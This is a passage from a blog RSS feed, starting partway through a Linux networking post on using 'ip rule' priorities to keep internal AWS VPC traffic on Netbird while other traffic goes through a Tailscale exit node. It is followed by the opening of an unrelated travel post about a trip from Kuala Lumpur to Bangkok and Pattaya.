<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100.108.220.87</span><span style="color: light-dark(#032F62, #96D0FF);">  tailscale-exit</span><span style="color: light-dark(#032F62, #96D0FF);">       mr-karan@</span><span style="color: light-dark(#032F62, #96D0FF);">    linux</span><span style="color: light-dark(#032F62, #96D0FF);">   active</span><span>;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> exit</span><span style="color: light-dark(#032F62, #96D0FF);"> node</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> direct</span><span style="color: light-dark(#032F62, #96D0FF);"> 167.71.236.222:41641,</span><span style="color: light-dark(#032F62, #96D0FF);"> tx</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 21540</span><span style="color: light-dark(#032F62, #96D0FF);"> rx</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 17356</span></span></code></pre>
<p>On the client side, I was able to start Tailscale and configure it to send all the traffic to the exit node with:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale</span><span style="color: light-dark(#032F62, #96D0FF);"> up</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-exit-node=100.108.220.87</span></span></code></pre>
<p>We can confirm that the traffic is going via the exit node by checking our public IP from this device:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">➜</span><span style="color: light-dark(#032F62, #96D0FF);"> curl</span><span style="color: light-dark(#032F62, #96D0FF);">  https://ipinfo.io</span><span> </span></span>
<span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">ip</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">167.x.x.222</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">city</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Doddaballapura</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">region</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Karnataka</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">country</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">IN</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">loc</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">13.2257,77.5750</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">org</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">AS14061 DigitalOcean, LLC</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">postal</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">560100</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">timezone</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Asia/Kolkata</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">readme</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">https://ipinfo.io/missingauth</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>}</span><span>                            </span></span></code></pre>
<p>However, I encountered a minor issue since I needed to bring my work laptop for on-call duties, in case any critical production incidents required my attention during my travels. At my organization, we use Netbird as our VPN, which, like Tailscale, creates a P2P overlay network between different devices.</p>
<p>The problem was that all 0.0.0.0 traffic was routed to the exit node, meaning the internal traffic meant for Netbird to access internal sites on our private AWS VPC network was no longer routed via the Netbird interface.</p>
<p>Netbird automatically propagates a bunch of IP routing rules when connected to the system. These routes are to our internal AWS VPC infrastructure. For example:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10.0.0.0/16</span><span style="color: light-dark(#032F62, #96D0FF);"> via</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100.107.12.215</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> wt0</span></span></code></pre>
<p>Here, <code>wt0</code> is the Netbird interface. So, for example, any IP like <code>10.0.1.100</code> will go via this interface. To verify this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> route</span><span style="color: light-dark(#032F62, #96D0FF);"> get</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.0.1.100</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10.0.1.100</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> wt0</span><span style="color: light-dark(#032F62, #96D0FF);"> src</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100.107.12.215</span><span style="color: light-dark(#032F62, #96D0FF);"> uid</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1000</span><span> </span></span></code></pre>
<p>However, after connecting to the Tailscale exit node, this was no longer the case. Now, even the private IP meant to be routed via Netbird was being routed through Tailscale:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> route</span><span style="color: light-dark(#032F62, #96D0FF);"> get</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.0.1.100</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10.0.1.100</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale0</span><span style="color: light-dark(#032F62, #96D0FF);"> table</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 52</span><span style="color: light-dark(#032F62, #96D0FF);"> src</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100.78.212.33</span><span style="color: light-dark(#032F62, #96D0FF);"> uid</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1000</span><span> </span></span></code></pre>
<p>Although Tailscale nodes allow for the selective whitelisting of CIDRs to route only the designated network packets through them, my scenario was different. I needed to selectively bypass certain CIDRs and route all other traffic through the exit nodes. I came across a relevant <a rel="external" href="https://github.com/tailscale/tailscale/issues/1916">GitHub issue</a>, but unfortunately, it was closed due to limited demand.</p>
<p>This led me to dig deeper into understanding how Tailscale propagates IP routes, to see if there was a way for me to add custom routes with a higher priority.</p>
<p>Initially, I examined the IP routes for Tailscale. Typically, one can view the route table list using <code>ip route</code>, which displays the routes in the <code>default</code> and <code>main</code> tables. However, Tailscale uses routing table 52 for its routes, instead of the default or main table.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> route</span><span style="color: light-dark(#032F62, #96D0FF);"> show</span><span style="color: light-dark(#032F62, #96D0FF);"> table</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 52</span><span>                                                           </span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">default</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale0</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100.75.180.88</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale0</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);"> others</span><span style="color: light-dark(#032F62, #96D0FF);"> ...</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">throw</span><span style="color: light-dark(#032F62, #96D0FF);"> 127.0.0.0/8</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">192.168.29.0/24</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale0</span><span> </span></span></code></pre>
<p>A few notes on the route table:</p>
<ul>
<li>
<p><code>default dev tailscale0</code> is the default route for this table. Traffic that doesn’t match any other route in this table will be sent through the <code>tailscale0</code> interface. This ensures that any traffic not destined for a more specific route will go through the Tailscale network.</p>
</li>
<li>
<p><code>throw 127.0.0.0/8</code>: This is a special route that tells the system to “throw” away traffic destined for 127.0.0.0/8 (local host addresses) if it arrives at this table, effectively discarding it before it reaches the local routing table.</p>
</li>
</ul>
<p>We can see the priority of these IP rules are evaluated using <code>ip rule show</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">➜</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> rule</span><span style="color: light-dark(#032F62, #96D0FF);"> show</span><span>          </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">0:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> local</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5210:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> fwmark</span><span style="color: light-dark(#032F62, #96D0FF);"> 0x80000/0xff0000</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5230:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> fwmark</span><span style="color: light-dark(#032F62, #96D0FF);"> 0x80000/0xff0000</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> default</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5250:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> fwmark</span><span style="color: light-dark(#032F62, #96D0FF);"> 0x80000/0xff0000</span><span style="color: light-dark(#032F62, #96D0FF);"> unreachable</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5270:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 52</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">32766:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">32767:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> default</span></span></code></pre>
<p>This command lists all the current policy routing rules, including their priority (look for the pref or priority value). Each rule is associated with a priority, with lower numbers having higher priority.</p>
<p>By default, Linux uses three main routing tables:</p>
<ul>
<li>Local (priority 0)</li>
<li>Main (priority 32766)</li>
<li>Default (priority 32767)</li>
</ul>
<p>Since Netbird already propagates the IP routes in the main routing table, we only need to add a higher priority rule to lookup in the <code>main</code> table before Tailscale takes over.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> rule</span><span style="color: light-dark(#032F62, #96D0FF);"> add</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.0.0.0/16</span><span style="color: light-dark(#032F62, #96D0FF);"> pref</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5000</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span></code></pre>
<p>Now, our <code>ip rule</code> looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> rule</span><span style="color: light-dark(#032F62, #96D0FF);"> show</span><span>          </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">0:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> local</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5000:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.0.0.0/16</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5210:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> fwmark</span><span style="color: light-dark(#032F62, #96D0FF);"> 0x80000/0xff0000</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5230:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> fwmark</span><span style="color: light-dark(#032F62, #96D0FF);"> 0x80000/0xff0000</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> default</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5250:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> fwmark</span><span style="color: light-dark(#032F62, #96D0FF);"> 0x80000/0xff0000</span><span style="color: light-dark(#032F62, #96D0FF);"> unreachable</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">5270:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 52</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">32766:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">32767:</span><span style="color: light-dark(#032F62, #96D0FF);">	from</span><span style="color: light-dark(#032F62, #96D0FF);"> all</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> default</span></span></code></pre>
<p>To confirm whether the packets for destination <code>10.0.0.0/16</code> get routed via <code>wt0</code> instead of <code>tailscale0</code>, we can use the good ol’ <code>ip route get</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> route</span><span style="color: light-dark(#032F62, #96D0FF);"> get</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.0.1.100</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">10.0.1.100</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span><span style="color: light-dark(#032F62, #96D0FF);"> wt0</span><span style="color: light-dark(#032F62, #96D0FF);"> src</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100.107.12.215</span><span style="color: light-dark(#032F62, #96D0FF);"> uid</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1000</span></span></code></pre>
<p>Perfect! This setup allows us to route all our public traffic via exit node and only the internal traffic meant for internal AWS VPCs get routed via Netbird VPN.</p>
<p>Since, these rules are ephemeral and I wanted to add a bunch of similar network routes, I created a small shell script to automate the process of adding/deleting rules:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#!</span><span style="color: light-dark(#6A737D, #768390);">/bin/bash</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Function to add IP rules for specified CIDRs</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">add</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Adding IP rules...</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> rule</span><span style="color: light-dark(#032F62, #96D0FF);"> add</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.0.0.0/16</span><span style="color: light-dark(#032F62, #96D0FF);"> pref</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5000</span><span style="color: light-dark(#032F62, #96D0FF);"> lookup</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> ... others ...</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Function to remove IP rules based on preference numbers</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">remove</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Removing IP rules...</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> ip</span><span style="color: light-dark(#032F62, #96D0FF);"> rule</span><span style="color: light-dark(#032F62, #96D0FF);"> del</span><span style="color: light-dark(#032F62, #96D0FF);"> pref</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5000</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> ... others ....</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Check the first argument to determine which function to call</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">case</span><span style="color: light-dark(#E36209, #F69D50);"> $</span><span style="color: light-dark(#E36209, #F69D50);">1</span><span style="color: light-dark(#D73A49, #F47067);"> in</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    a</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#D73A49, #F47067);">)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        add</span></span>
<span class="giallo-l"><span>        ;;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#D73A49, #F47067);">)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        remove</span></span>
<span class="giallo-l"><span>        ;;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    *)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Invalid argument: </span><span style="color: light-dark(#005CC5, #6CB6FF);">$</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Usage: </span><span style="color: light-dark(#005CC5, #6CB6FF);">$</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);"> add|remove</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        exit</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span>        ;;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">esac</span></span></code></pre>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Thailand Trip]]></title>
            <link>https://ravidwivedi.in/posts/thailand-trip/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/thailand-trip/</guid>
            <pubDate>Thu, 21 Mar 2024 20:45:00 GMT</pubDate>
            <description><![CDATA[Arrival
I was staying at a hostel in Bukit Bintang, a shopping hub and entertainment center of Kuala Lumpur, which was like 200 metres from the monorail station, where I took a metro train for KL Sentral. Then I took a bus from KL Sentral to the airport, followed by taking a Malaysian Airlines flight to Bangkok. Meals were included without any extra charge.
The flight took around 2 hours, landing in Bangkok’s Suvarnabhumi Airport at around 15:00 hours local time. My friend Fletcher was leaving for Pattaya from Bangkok, which is about 150 km and 2 hours bus ride, but takes a longer time from within the Bangkok city compared to Suvarnabhumi Airport due to the traffic in Bangkok. We had planned to meet in Pattaya and had already booked a hostel there. At the bus counter, I came to know that buses leave for Pattaya every hour. However, the next bus for which tickets were available was at scheduled to leave at 19:00 hours.
The ticket cost was 143 Thai Baht (360 Indian Rupees) per seat. This left me with a couple of hours at the airport, which I spent charging my phone, exploring shops and eating snacks which I had packed. As I had one week to spend in Thailand, buying a SIM card was essential to have internet access on the go. The internet plans I checked at the airport were expensive compared to Kuala Lumpur, so I didn’t buy a SIM card from there, leaving me with no way to coordinate with Fletcher.

      
Welcome sign at Bangkok's Suvarnabhumi airport.

      
Bus from Suvarnabhumi Airport to Jomtien Beach in Pattaya.
Pattaya
My bus left airport at 7 PM and dropped me at the last stop named Jomtien beach in Pattaya at around 9 PM. The bus journey was smooth, thanks to good roads and lack of traffic jam. I used OsmAnd app for navigation and decided to walk to my hostel as it was around 1 km away. While walking, I noticed Cannabis bars on the street side and ubiquitous massage parlors, not to mention the street prostitutes vying for your attention.
After some time, I realized that the address mentioned on the hostel receipt was different from the one OpenStreetMap was showing, leading me to ask a person sitting at a café for help. That person agreed to help me and took me to the exact place where the hostel was. On the way, he told me he was originally from Kuwait but lived in Pattaya for many years. He also told me about the shared hail-and-ride cheap songthaew rides which ran along the Jomtien Beach, charging 10 Baht (25 Rupees) for any distance along that route, making our trip cost-effective.

      
Photo of a songthaew in Pattaya. These songthaews run along Jomtien Second road and take 10 Thai Baht to anywhere on the route.

      
Road near Jomtien beach in Pattaya
